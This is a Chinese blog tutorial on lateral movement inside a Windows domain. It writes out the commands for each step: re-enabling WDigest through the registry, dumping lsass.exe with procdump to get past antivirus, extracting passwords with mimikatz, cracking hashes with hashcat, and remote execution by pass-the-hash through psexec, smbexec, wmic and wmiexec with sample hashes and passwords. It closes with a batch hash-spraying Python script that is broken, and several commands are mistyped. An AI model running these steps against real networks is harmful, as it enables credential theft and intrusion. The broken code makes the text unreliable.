内网安全 - 域横向 smb&wmi

基础知识

Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题:
	1.利用哈希hash传递(pth,ptk等)进行移动
	2.利用其他服务协议(SMB,WMI等)进行哈希移动
	3.利用注册表操作开启Wdigest Auth值进行获取
	4.利用工具或第三方平台(Hachcat)进行破解获取
注册表修改,开启wdigest
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDige st /v UseLogonCredential /t REG DWORD /d 1 /f 


Windows系统LM HASH及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

Procdump+Mimikatz配合获取密码

解决实战中Mimikatz被杀毒软件拦截问题。

当Mimikatz被杀毒软件拦截,可通过procdump 配合 mimikatz
因为procdump是windows官方的软件,所以在实战时一般不会对其进行拦截

运行procdump在当前目录下生成lsass.dmp文件
	procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行还原出来密码:
	privilege::debug
	sekurlsa::minidump lsass.dmp
	sekurlsa::logonPasswords full


Hashcat破解获取Windows NTML Hash:
hashcat -a0-m 1000hash file --force

Hashcat下载地址以及使用方法见:https://zhuanlan.zhihu.com/p/35661801

procdump下载
procdump上传到对方服务器,执行procdump -accepteula -ma lsass.exe lsass.dmp,会在当前目录生成一个lsass.dmp文件
在这里插入图片描述
在这里插入图片描述
将对方服务器上生成的dmp文件复制到本地mimikatz的目录
在本机通过mimikatz来读取dmp文件里的内容
在这里插入图片描述
可以看到已经成功读取到lsass.dmp文件里面的账户密码了。
在这里插入图片描述

域横向移动SMB服务利用-psexec,smbexec

psexec

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
  psexec 是pstools 微软官方软件中的一个工具,是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。但是PsExec在内网中大杀四方后,很多安全厂商开始将PsExec加入了黑名单。
psexec下载地址

psexec 第一种方式:先有 ipc 链接,psexec 需要明文或 hash 传递
	net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
	psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行

在这里插入图片描述

psexec 第二种方式:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 

在这里插入图片描述
可以看到使用明文密码直接连接成功,那我们试一下用hash来进行登录。
在这里插入图片描述
  这里出现了问题,查资料发现官方 Pstools psexec 无法采用 hash 连接,这里解决办法就是采用impacket的psexec。
impacket工具包介绍
在这里插入图片描述
  可以看到使用hash连接成功了,但是impacket的psexec是非官方的,容易被杀毒软件干掉。

smbexec 无需先 ipc 链接 明文或 hash 传递

impacket工具包 smbexec协议

#smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32

smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21

smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21

在这里插入图片描述

域横向移动WMI服务利用-cscript,wmiexec,wmic

  WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

自带 WMIC 明文传递 无回显 官方

缺点:无回显,需要自己去读取目标主机上执行命令产生结果的文件内容
优点:不会被杀毒软件干扰

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c 
ipconfig >C:\1.txt"

在这里插入图片描述

连接完毕后,在⽬标主机上连接的那个域主机上出现了1.txt.在这里插入图片描述

自带 cscript 明文传递 有回显

将wmiexec.vbs上传到对方主机
需要借助wmiexec.vbs文件,切换到wmiexec.vbs所在目录执行cmd窗口

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

在这里插入图片描述

套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本

有可能被杀毒软件拦截
上传后切换到impacket-examples-windows目录,通过wmiexec执行

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

通过明文密码进行连接
在这里插入图片描述
通过hash值进行连接
在这里插入图片描述

总结

通过官方PSTools中psexec连接时只能用明文密码进行连接,但是不会被杀毒软件拦截
通过官方自带命令WMIC时,只支持明文且没有回显需自己读取
通过官方自带命令cscript与wmiexec.vbs配合时有回显,但是只支持明文
通过非官方impacket-examples-windows中psexec和smbexec和wmiexec连接时可支持密文hash密码连接,但容易被杀毒软件拦截
现在基本通过mimikatz获取的密码都是密文的

impacket-examples-windows下载地址
impacket下载地址
pstools下载地址
procdump下载地址

域横向移动以上服务bash批量利用

使用Python脚本来进行批量跑

import os,time
from threading import Thread

def get_user(ip)
	users={
		'Administrator',
		'boss',
		'dbadmin',
		'fileadmin',
		'mack',
		'mary',
		'webadmin'
	}
	hashs={
	'ccef208c6485269c20db2cad21734fe7',
	'518b98ad4178a53695dc997aa02d455c'
}
	for user in users:
		for mimahash in hashs:
			#wmiexec -hashes :hashgod/user@ipwhoami
			exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
			print('--->' + exec + '<---')
			os.system(exec)
			time.sleep(0.5)

def main(ip):
	for ip in ips:
		t = Thread(target=check_pass,args=(ip,))
		t.start()
ips={
	'192.168.3.21',
	'192.168.3.25',
	'192.168.3.29',
	'192.168.3.30',
	'192.168.3.32'
}
if __name__ == "__main__":
    main(ips)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值